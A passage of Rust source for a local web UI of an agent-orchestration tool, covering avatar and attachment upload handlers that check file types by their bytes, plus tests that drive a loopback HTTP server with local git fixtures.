let home = path.parent().expect("icon parent");
std::fs::create_dir_all(home)?;
let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
let temp = home.join(format!(".magi-icon-{token}.tmp"));
let result = (|| -> Result<()> {
use std::io::Write;
let mut file = std::fs::OpenOptions::new()
.write(true)
.create_new(true)
.open(&temp)?;
file.write_all(icon.as_bytes())?;
file.sync_all()?;
std::fs::rename(&temp, path)?;
Ok(())
})();
let _ = std::fs::remove_file(temp);
result?;
Ok(())
}
async fn magi_icon_put(
State(ui): State<Arc<Ui>>,
Json(upload): Json<MagiIconUpload>,
) -> ApiResult<Json<serde_json::Value>> {
blocking(move || {
if !upload.icon.starts_with("data:") {
return Err(ApiError::bad_request("upload a raster image"));
}
let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
if sniffed_mime(&bytes) != Some(mime) {
return Err(ApiError::bad_request(
"image content does not match its type",
));
}
save_magi_icon(&ui.home, &upload.icon)?;
Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
})
.await
}
async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
blocking(move || {
match std::fs::remove_file(magi_icon_path(&ui.home)) {
Ok(()) => (),
Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
Err(e) => return Err(anyhow::Error::from(e).into()),
}
Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
})
.await
}
async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
let icon = (q.builtin.is_none())
.then(|| read_magi_icon(&ui.home))
.flatten();
let mut response = match icon
.as_deref()
.and_then(|icon| persona_icon::load(icon).ok())
{
Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
attachment_response(mime, bytes)
}
_ => svg_avatar(persona_icon::magi_svg()),
};
response
.headers_mut()
.insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
response
}
async fn talk_avatar(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
Query(q): Query<AvatarQuery>,
) -> ApiResult<Response> {
blocking(move || {
let id = resolve_talk(&ui.talks, &id)?;
let talk = ui.talks.get(&id)?;
let wanted = q
.persona
.as_deref()
.map(str::trim)
.filter(|p| !p.is_empty())
.unwrap_or(&talk.persona)
.to_owned();
let specs = match Config::discover(&talk.repo, None) {
Ok((cfg, _)) => cfg.talk.personas,
Err(e) => {
tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
Vec::new()
}
};
let found = persona::find(&specs, &wanted);
let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
let icon = effective_persona_icon(
&ui.home,
&wanted,
found.as_ref().and_then(|p| p.icon.as_deref()),
);
if found.is_none() && icon.is_none() {
return Ok(builtin_avatar(persona::DEFAULT_ID));
}
let Some(icon) = icon
.as_deref()
.filter(|icon| !icon.is_empty() && q.builtin.is_none())
else {
return Ok(builtin_avatar(&wanted));
};
let Some(found) = found else {
return Ok(raster_or_builtin(
Some(icon),
persona_icon::builtin_svg(&wanted),
));
};
match persona_icon::load(icon) {
Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
let mut res = attachment_response(mime, bytes);
res.headers_mut().insert(
header::CACHE_CONTROL,
header::HeaderValue::from_static("no-cache"),
);
Ok(res)
}
Ok((mime, _)) => {
tracing::warn!(
"avatar: icon of persona `{}` is not really {mime}; using the built-in",
found.id
);
Ok(builtin_avatar(&found.id))
}
Err(e) => {
tracing::warn!(
"avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
found.id
);
Ok(builtin_avatar(&found.id))
}
}
})
.await
}
fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
if data.len() > ATTACHMENT_MAX_BYTES {
return Err(ApiError::bad_request(format!(
"attachment is {} bytes, over the {} MiB limit",
data.len(),
ATTACHMENT_MAX_BYTES / (1024 * 1024)
))
.with_status(StatusCode::PAYLOAD_TOO_LARGE));
}
if data.is_empty() {
return Err(ApiError::bad_request("attachment is empty"));
}
let declared = declared_mime(headers)?;
match sniffed_mime(data) {
Some(sniffed) if sniffed == declared => Ok(declared),
Some(sniffed) => Err(ApiError::bad_request(format!(
"Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
))),
None => Err(ApiError::bad_request(
"the file's bytes do not match any accepted image format",
)),
}
}
fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
let raw = headers
.get(header::CONTENT_TYPE)
.and_then(|v| v.to_str().ok())
.unwrap_or("")
.split(';')
.next()
.unwrap_or("")
.trim()
.to_ascii_lowercase();
ATTACHMENT_MIME_WHITELIST
.iter()
.find(|&&m| m == raw)
.copied()
.ok_or_else(|| {
if raw == "image/svg+xml" {
ApiError::bad_request(
"SVG is not accepted: it can carry active content (e.g. a <script>), \
not just a picture",
)
} else if raw.is_empty() {
ApiError::bad_request("Content-Type is required for an attachment upload")
} else {
ApiError::bad_request(format!(
"`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
image/gif or image/webp"
))
}
})
}
fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
if data.starts_with(b"\x89PNG\r\n\x1a\n") {
Some("image/png")
} else if data.starts_with(b"\xff\xd8\xff") {
Some("image/jpeg")
} else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
Some("image/gif")
} else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
Some("image/webp")
} else {
None
}
}
fn filename_header(headers: &HeaderMap) -> String {
headers
.get(FILENAME_HEADER)
.and_then(|v| v.to_str().ok())
.map(str::trim)
.filter(|s| !s.is_empty())
.unwrap_or("attachment")
.to_owned()
}
fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
let content_type = ATTACHMENT_MIME_WHITELIST
.iter()
.find(|&&m| m == mime)
.copied()
.unwrap_or("application/octet-stream");
(
[
(header::CONTENT_TYPE, content_type),
(header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
],
body,
)
.into_response()
}
async fn config_for(repo: &FsPath) -> ApiResult<Config> {
let repo = repo.to_path_buf();
blocking(move || {
let (cfg, _) = Config::discover(&repo, None)?;
Ok(cfg)
})
.await
}
fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
let mut hits = ids
.into_iter()
.filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
match (hits.next(), hits.next()) {
(Some(one), None) => Ok(one),
(None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
(Some(a), Some(b)) => Err(ApiError::bad_request(format!(
"`{prefix}` matches more than one {what}, including {a} and {b}"
))),
}
}
#[cfg(test)]
mod tests {
#[test]
fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
let dir = tempfile::tempdir().unwrap();
let store = ask::Questions::at(dir.path().join("questions"));
let mut q = Question::new(
"task".to_owned(),
"conduct".to_owned(),
"conduct".to_owned(),
"choose".to_owned(),
String::new(),
vec!["keep".to_owned()],
);
q.deputy = Some(ask::Deputy::new("brief".to_owned()));
q.say("why?").unwrap();
q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
store.put(&mut q).unwrap();
assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
assert_eq!(store.count_needs_owner(), 1);
store.beat(&q.id, ask::WaiterKind::Deputy);
assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
assert_eq!(store.count_needs_owner(), 0);
let mut stale = store.read_lease(&q.id).unwrap();
stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
assert!(view.deputy_exhausted);
assert!(view.waiting_on_agent);
assert_eq!(view.question.choices, ["keep"]);
store.drop_lease(&q.id);
q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
}
#[test]
fn holder_reads_the_lease_not_the_record() {
let mut q = Question::new(
"run".to_owned(),
"implement".to_owned(),
"impl-A".to_owned(),
"which?".to_owned(),
String::new(),
Vec::new(),
);
assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
q.cwd = Some("/tmp".to_owned());
assert_eq!(holder_of(&q, None), Some("nobody"));
let beat = |kind, ago: i64| ask::Lease {
kind,
pid: 1,
beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
.unwrap(),
};
let fresh = beat(ask::WaiterKind::Asker, 1);
assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
let daemon = beat(ask::WaiterKind::Daemon, 1);
assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
let stale = beat(ask::WaiterKind::Asker, 3600);
assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
let mut c = Question::new(
"task".to_owned(),
crate::conduct::NODE.to_owned(),
"conduct".to_owned(),
"which?".to_owned(),
String::new(),
Vec::new(),
);
assert_eq!(holder_of(&c, None), Some("nobody"));
c.cwd = Some("/tmp".to_owned());
c.deputy = Some(ask::Deputy::new("brief".to_owned()));
assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
let deputy = beat(ask::WaiterKind::Deputy, 1);
assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
let mut r = Question::new(
String::new(),
crate::bump::NOTICE_NODE.to_owned(),
"release-watch".to_owned(),
"stuck?".to_owned(),
String::new(),
vec!["hold".to_owned()],
);
assert_eq!(holder_of(&r, None), Some("nobody"));
r.deputy = Some(ask::Deputy::new("brief".to_owned()));
assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
r.deputy = None;
r.seat = "bump".to_owned();
assert_eq!(holder_of(&r, None), None);
let mut m = Question::new(
"run".to_owned(),
crate::land::APPROVAL_NODE.to_owned(),
"land".to_owned(),
"merge?".to_owned(),
String::new(),
Vec::new(),
);
assert_eq!(holder_of(&m, None), Some("nobody"));
assert_eq!(
holder_of(&m, Some(&fresh)),
Some("asker"),
"a live explicit wait is a listener even before a deputy is attached"
);
m.deputy = Some(ask::Deputy::new("brief".to_owned()));
assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
assert_eq!(holder_of(&m, None), Some("nobody"));
}
fn stub_config() -> Config {
Config {
agents: vec![crate::config::AgentSpec {
id: "stub".to_owned(),
kind: AgentKind::Command,
model: None,
command: vec!["true".to_owned()],
extra_args: Vec::new(),
env: Default::default(),
prompt_delivery: None,
max_turn_secs: None,
}],
..Config::default()
}
}
fn plain_question(seat: &str) -> Question {
Question::new(
String::new(),
"n".to_owned(),
seat.to_owned(),
"s".to_owned(),
String::new(),
Vec::new(),
)
}
#[test]
fn deputies_enabled_follows_the_config() {
let on = stub_config();
assert!(crate::deputy::can_start(Some(&on), ""));
assert!(crate::deputy::can_start(Some(&on), "stub"));
let mut off = on.clone();
off.daemon.max_deputies = 0;
assert!(!crate::deputy::can_start(Some(&off), ""));
let mut empty = on;
empty.agents.clear();
assert!(!crate::deputy::can_start(Some(&empty), ""));
assert!(!crate::deputy::can_start(None, ""));
}
#[test]
fn question_views_load_the_config_once() {
let dir = TempDir::new().unwrap();
let store = ask::Questions::at(dir.path().to_path_buf());
let mut with_deputy = plain_question("b");
with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
let calls = std::cell::Cell::new(0usize);
let views = question_views(qs.clone(), &store, || {
calls.set(calls.get() + 1);
Some(stub_config())
});
assert_eq!(calls.get(), 1);
assert_eq!(views.len(), 3);
for (v, q) in views.iter().zip(&qs) {
assert_eq!(
v.deputies_enabled,
crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
);
}
let views = question_views(qs, &store, || None);
assert!(views.iter().all(|v| !v.deputies_enabled));
let calls = std::cell::Cell::new(0usize);
let views = question_views(Vec::new(), &store, || {
calls.set(calls.get() + 1);
None
});
assert!(views.is_empty());
assert_eq!(calls.get(), 0);
}
use pretty_assertions::assert_eq;
use serde_json::Value;
use tempfile::TempDir;
use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
use super::*;
use crate::config::Config;
use crate::queue::Source;
const SETTLE_STEPS: usize = 3_000;
struct Fixture {
home: TempDir,
addr: SocketAddr,
}
impl Fixture {
async fn start() -> Self {
Self::with_loop(launch_idle).await
}
async fn with_loop(launch: Launch) -> Self {
let home = TempDir::new().expect("temp home");
let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
Self { home, addr }
}
async fn with_repo(repo: PathBuf) -> Self {
let home = TempDir::new().expect("temp home");
let addr = Self::serve(home.path(), repo, launch_idle, None).await;
Self { home, addr }
}
async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
let home = TempDir::new().expect("temp home");
let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
Self { home, addr }
}
async fn serve(
home: &FsPath,
repo: PathBuf,
launch: Launch,
machine: Option<PathBuf>,
) -> SocketAddr {
let queue = Queue::at(home.join("queue"));
let runs = home.join("runs");
std::fs::create_dir_all(&runs).expect("runs dir");
let worktrees = home.join("wt").join("magi");
std::fs::create_dir_all(&worktrees).expect("worktrees dir");
let ui = Ui::new(
queue,
Questions::at(home.join("questions")),
Talks::at(home.join("talks")),
runs,
home.to_path_buf(),
repo,
)
.with_worktrees_root(worktrees)
.with_machine_config(machine)
.with_launch(launch);
let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
.await
.expect("bind loopback");
let addr = listener.local_addr().expect("local addr");
tokio::spawn(async move {
let router = ui
.router()
.layer(axum::middleware::from_fn(request_cost::observe));
let _ = axum::serve(listener, router).await;
});
addr
}
fn queue(&self) -> Queue {
Queue::at(self.home.path().join("queue"))
}
fn questions(&self) -> Questions {
Questions::at(self.home.path().join("questions"))
}
fn talks(&self) -> Talks {
Talks::at(self.home.path().join("talks"))
}
fn runs(&self) -> PathBuf {
self.home.path().join("runs")
}
async fn get(&self, path: &str) -> Res {
request(self.addr, "GET", path, None).await
}
async fn head(&self, path: &str) -> Res {
request(self.addr, "HEAD", path, None).await
}
async fn post(&self, path: &str, body: Option<&str>) -> Res {
request(self.addr, "POST", path, body).await
}
async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
request_with(self.addr, "GET", path, None, extra).await
}
async fn delete(&self, path: &str) -> Res {
request(self.addr, "DELETE", path, None).await
}
async fn put(&self, path: &str, body: &str) -> Res {
request(self.addr, "PUT", path, Some(body)).await
}
async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
request_bytes(self.addr, path, headers, body).await
}
}
async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
let tmp = TempDir::new().unwrap();
let mut repos = Vec::new();
for name in ["one", "two"] {
let repo = tmp.path().join(name);
let origin = tmp.path().join(format!("{name}.git"));
std::fs::create_dir_all(&repo).unwrap();
crate::git::git(&repo, &["init", "-b", "main"])
.await
.unwrap();
std::fs::write(
repo.join("magi.toml"),
format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
)
.unwrap();
crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
crate::git::git(
&repo,
&[
"-c",
"user.name=fixture",
"-c",
"user.email=fixture@example.invalid",
"commit",
"-m",
"fixture",
],
)
.await
.unwrap();
crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
.await
.unwrap();
crate::git::git(
&repo,
&["remote", "add", "origin", origin.to_str().unwrap()],
)
.await
.unwrap();
crate::git::git(&repo, &["push", "origin", "main"])
.await
.unwrap();
crate::git::git(
&repo,
&[
"symbolic-ref",
"refs/remotes/origin/HEAD",
"refs/remotes/origin/main",
],
)
.await
.unwrap();
let (cfg, _) = Config::discover(&repo, None).unwrap();
assert!(cfg.agents.iter().any(|a| a.id == "mock"));
repos.push(repo);
}
let repos: [PathBuf; 2] = repos.try_into().unwrap();
(tmp, repos)
}
async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
let (tmp, repos) = performance_repositories().await;
let machine = tmp.path().join("machine.toml");
std::fs::write(&machine, "").unwrap();
let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
(tmp, repos, fx)
}
fn seed_performance(
fx: &Fixture,
repos: &[PathBuf; 2],
questions: usize,
runs: usize,
items: usize,
) {
for i in fx.questions().list().len()..questions {
let mut question = Question::new(
"20261001-000000-0000".into(),
"implement".into(),
"impl-A".into(),
format!("question {i}"),
"context".into(),
vec!["yes".into(), "no".into()],
);
question.id = format!("20261003-000000-{i:04x}");
fx.questions().put(&mut question).unwrap();
}
for i in run_ids(&fx.runs()).len()..runs {
write_run_repo(
&fx.runs(),
&format!("20261001-000000-{i:04x}"),
RunStatus::Ready,
repos[i % 2].to_str().unwrap(),
);
}
for i in fx.talks().list().len()..items {
let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
let mut talk = fx.talks().get(&id).unwrap();
talk.repo = repos[i % 2].clone();
fx.talks().put(&mut talk).unwrap();
let mut task = crate::queue::Task::new(
format!("task {i}"),
"instruction".into(),
repos[i % 2].clone(),
crate::queue::Source::Agent {
run: id,
node: crate::queue::CHAT_NODE.into(),
},
);
task.id = format!("20261004-000000-{i:04x}");
fx.queue().put(&mut task).unwrap();
if i < crate::notices::CAP {
Notices::at(fx.home.path().join("notifications"))
.raise(Notice::info(&format!("notice-{i}"), "notification"))
.unwrap();
}
}
assert_eq!(fx.questions().list().len(), questions);
assert_eq!(run_ids(&fx.runs()).len(), runs);
assert_eq!(fx.talks().list().len(), items);
assert_eq!(fx.queue().list().len(), items);
assert_eq!(
Notices::at(fx.home.path().join("notifications"))
.list()
.len(),
items.min(crate::notices::CAP)
);
}
#[tokio::test]
async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
let home = TempDir::new().unwrap();
let root = home.path().canonicalize().unwrap();
let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
let fx = Fixture { home, addr };
let repo = root.as_path().join("archive-repo");
std::fs::create_dir(&repo).unwrap();
crate::git::git(&repo, &["init", "-b", "main"])
.await
.unwrap();
crate::git::git(&repo, &["config", "user.name", "Fixture"])
.await
.unwrap();
crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
.await
.unwrap();
crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
.await
.unwrap();
std::fs::write(repo.join("source"), "base").unwrap();
crate::git::git(&repo, &["add", "."]).await.unwrap();
crate::git::git(&repo, &["commit", "-m", "base"])
.await
.unwrap();
let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
std::fs::write(repo.join("source"), "archived review").unwrap();
crate::git::git(&repo, &["commit", "-am", "review"])
.await
.unwrap();
let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
let mut config = Config::default();
config.graph.worktree_root = Some(root.as_path().join("copies"));
let mut state = RunState::new(
repo.clone(),
"main".into(),
base.clone(),
"archive".into(),
config,
);
state.id = "20260101-000000-ef05".into();
state.status = RunStatus::Ready;
state.save_under(root.as_path()).unwrap();
let evidence =
crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
.await
.unwrap();
let base_evidence =
crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
.await
.unwrap();
let source = state.worktree_root().join("review-1");
let mut contents = std::collections::BTreeMap::new();
contents.insert(
repo.join("logs/HEAD"),
format!("{base} {head} fixture\n").into_bytes(),
);
let record = serde_json::json!({
"version":1, "run":state.id, "source":source, "head":head,
"evidence":evidence, "admin":{}, "admin_contents":contents,
"history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
});
std::fs::write(
fx.runs()
.join(&state.id)
.join("artifacts/eviction-review-1.json"),
serde_json::to_vec(&record).unwrap(),
)
.unwrap();
std::fs::remove_dir_all(&repo).unwrap();
let url = format!("/api/runs/{}/seat-evidence", state.id);
let list = fx.get(&url).await;
assert_eq!(list.status, 200, "{}", list.body);
assert_eq!(list.json()[&head], "review-1");
let patch = fx.get(&format!("{url}/{head}")).await;
assert_eq!(patch.status, 200, "{}", patch.body);
assert!(patch.body.contains("+archived review"));
assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
assert_eq!(fx.get(&url).await.status, 404);
assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
}
fn request_counts(res: &Res) -> (usize, usize) {
assert_eq!(res.status, 200, "{}", res.body);
(
res.header("x-test-discoveries").unwrap().parse().unwrap(),
res.header("x-test-git").unwrap().parse().unwrap(),
)
}
#[tokio::test]
async fn list_request_cost_is_independent_of_record_count() {
let (_tmp, repos, fx) = performance_fixture().await;
let mut previous = None;
for n in [4, 60] {
seed_performance(&fx, &repos, n, n, n);
let mut costs = Vec::new();
for (path, discoveries) in [
("/api/questions", 1),
("/api/talks", 0),
("/api/health", 0),
("/api/stats", 1),
] {
for repo in &repos {
let cache = repo.join(".git/magi/config");
if cache.exists() {
std::fs::remove_dir_all(cache).unwrap();
}
}
let cost = request_counts(&fx.get(path).await);
eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
assert_eq!(cost.0, discoveries, "{path}, N={n}");
assert!(
cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
"{path}: {cost:?}"
);
costs.push(cost);
}
if let Some(previous) = previous {
assert_eq!(costs, previous);
}
previous = Some(costs);
}
}
#[tokio::test]
async fn list_handler_cost_without_transport() {
let (_tmp, repos) = performance_repositories().await;
let fx = Fixture {
home: TempDir::new().unwrap(),
addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
};
let ui = Arc::new(
Ui::new(
fx.queue(),
fx.questions(),
fx.talks(),
fx.runs(),
fx.home.path().to_path_buf(),
repos[0].clone(),
)
.with_worktrees_root(fx.home.path().join("wt")),
);
let mut previous = None;
for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
seed_performance(&fx, &repos, n, runs, items);
let mut costs = Vec::new();
for endpoint in ["questions", "talks", "health", "stats"] {
for repo in &repos {
let cache = repo.join(".git/magi/config");
if cache.exists() {
std::fs::remove_dir_all(cache).unwrap();
}
}
let (_, cost) = request_cost::measure(async {
match endpoint {
"questions" => {
let _ = questions_list(State(ui.clone())).await.unwrap();
}
"talks" => {
let _ = talks_list(
State(ui.clone()),
Query(ListQuery {
limit: None,
ids: None,
}),
header::HeaderMap::new(),
)
.await
.unwrap();
}
"health" => {
let _ = health(State(ui.clone())).await.unwrap();
}
_ => {
let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
.await
.unwrap();
}
}
})
.await;
eprintln!("{endpoint} handler N={n}: {cost:?}");
assert_eq!(
cost.0,
if matches!(endpoint, "talks" | "health") {
0
} else {
1
},
"{endpoint}"
);
assert!(
cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
"{endpoint}: {cost:?}"
);
costs.push(cost);
}
if let Some(previous) = previous {
assert_eq!(costs, previous);
}
previous = Some(costs);
}
}
#[tokio::test]
async fn list_request_cost_scopes_do_not_mix() {
let (_tmp, repos, fx) = performance_fixture().await;
seed_performance(&fx, &repos, 10, 0, 10);
let (questions, talks, notices) = tokio::join!(
fx.get("/api/questions"),
fx.get("/api/talks"),
fx.get("/api/notifications")
);
assert_eq!(request_counts(&questions).0, 1);
assert_eq!(request_counts(&talks), (0, 0));
assert_eq!(request_counts(¬ices), (0, 0));
}
#[tokio::test]
async fn list_endpoints_large_home_responses() {
check_large_home_endpoints(false).await;
}
#[tokio::test]
#[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
async fn list_endpoints_large_home_ceiling() {
check_large_home_endpoints(true).await;
}
async fn check_large_home_endpoints(timed: bool) {
let (_tmp, repos, fx) = performance_fixture().await;
seed_performance(&fx, &repos, 200, 300, 400);
let mut failures = Vec::new();
for path in [
"/",
"/app.js",
"/app.css",
"/api/questions",
"/api/runs?limit=300",
"/api/queue",
"/api/talks",
"/api/notifications",
"/api/health",
"/api/stats",
"/api/loop",
"/api/settings",
"/api/repos",
] {
let start = std::time::Instant::now();
let result = if timed {
tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
} else {
Ok(fx.get(path).await)
};
let elapsed = start.elapsed();
eprintln!("{path}: {elapsed:?}");
match result {
Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
}
}
assert!(failures.is_empty(), "{}", failures.join("\n"));
}
struct Res {
status: u16,
headers: String,
head: String,
body: String,
bytes: Vec<u8>,
}
impl Res {
fn json(&self) -> Value {
serde_json::from_str(&self.body)
.unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
}
fn header(&self, name: &str) -> Option<&str> {
self.head.lines().find_map(|line| {
let (key, value) = line.split_once(':')?;
key.trim()
.eq_ignore_ascii_case(name)
.then(|| value.trim_start().trim_end_matches('\r'))
})
}
}
async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
request_with(addr, method, path, body, &[]).await
}
async fn request_with(
addr: SocketAddr,
method: &str,
path: &str,
body: Option<&str>,
extra: &[(&str, &str)],
) -> Res {
let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
for (name, value) in extra {
head.push_str(&format!("{name}: {value}\r\n"));
}
if let Some(body) = body {
head.push_str("Content-Type: application/json\r\n");
head.push_str(&format!("Content-Length: {}\r\n", body.len()));
}
head.push_str("\r\n");
if let Some(body) = body {
head.push_str(body);
}
let mut socket = tokio::net::TcpStream::connect(addr)
.await
.expect("connect to the test server");
socket
.write_all(head.as_bytes())
.await
.expect("write request");
let mut raw = Vec::new();
socket.read_to_end(&mut raw).await.expect("read response");
let split = raw
.windows(4)
.position(|w| w == b"\r\n\r\n")
.expect("a header block");
let head = String::from_utf8_lossy(&raw[..split]).into_owned();
let bytes = raw[split + 4..].to_vec();
let status = head
.lines()
.next()
.and_then(|line| line.split_whitespace().nth(1))
.and_then(|code| code.parse().ok())
.expect("a status line");
Res {
status,
headers: head.to_lowercase(),
head,
body: String::from_utf8_lossy(&bytes).into_owned(),
bytes,
}
}
async fn request_bytes(
addr: SocketAddr,
path: &str,
headers: &[(&str, &str)],
body: &[u8],
) -> Res {
let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
for (name, value) in headers {
head.push_str(&format!("{name}: {value}\r\n"));
}
head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
let mut socket = tokio::net::TcpStream::connect(addr)
.await
.expect("connect to the test server");
socket
.write_all(head.as_bytes())
.await
.expect("write request head");
socket.write_all(body).await.expect("write request body");
let mut raw = Vec::new();
socket.read_to_end(&mut raw).await.expect("read response");
let split = raw
.windows(4)
.position(|w| w == b"\r\n\r\n")
.expect("a header block");
let head = String::from_utf8_lossy(&raw[..split]).into_owned();
let bytes = raw[split + 4..].to_vec();
let status = head
.lines()
.next()
.and_then(|line| line.split_whitespace().nth(1))
.and_then(|code| code.parse().ok())
.expect("a status line");
Res {
status,
headers: head.to_lowercase(),
head,
body: String::from_utf8_lossy(&bytes).into_owned(),
bytes,
}
}
fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
let mut state = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"Add a web UI\n\nMobile first.".to_owned(),
Config::default(),
);
state.id = id.to_owned();
state.status = status;
let dir = runs.join(id);
std::fs::create_dir_all(&dir).expect("run dir");
std::fs::write(
dir.join("run.json"),
serde_json::to_string_pretty(&state).expect("serialize run"),
)
.expect("write run.json");
}
fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
let mut state = RunState::new(
PathBuf::from(repo),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"task".to_owned(),
Config::default(),
);
state.id = id.to_owned();
state.status = status;
let dir = runs.join(id);
std::fs::create_dir_all(&dir).expect("run dir");
std::fs::write(
dir.join("run.json"),
serde_json::to_string_pretty(&state).expect("serialize run"),
)
.expect("write run.json");
}
fn write_daemon(home: &FsPath, updated_at: Timestamp) {
let body = serde_json::json!({
"schema": 1,
"pid": 4242,
"started_at": Timestamp::now().to_string(),
"updated_at": updated_at.to_string(),
"idle": false,
"current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
"completed": 7,
"polls": 143,
});
std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
}
fn launch_idle(
_opts: daemon::Opts,
stop: daemon::Stop,
) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
Box::pin(async move {
while !stop.stopped() {
tokio::time::sleep(Duration::from_millis(2)).await;
}
Ok(())
})
}
fn launch_broken(
_opts: daemon::Opts,
_stop: daemon::Stop,
) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
Box::pin(async move {
Err(anyhow::anyhow!(if first {
"publish the daemon status file: read-only file system"
} else {
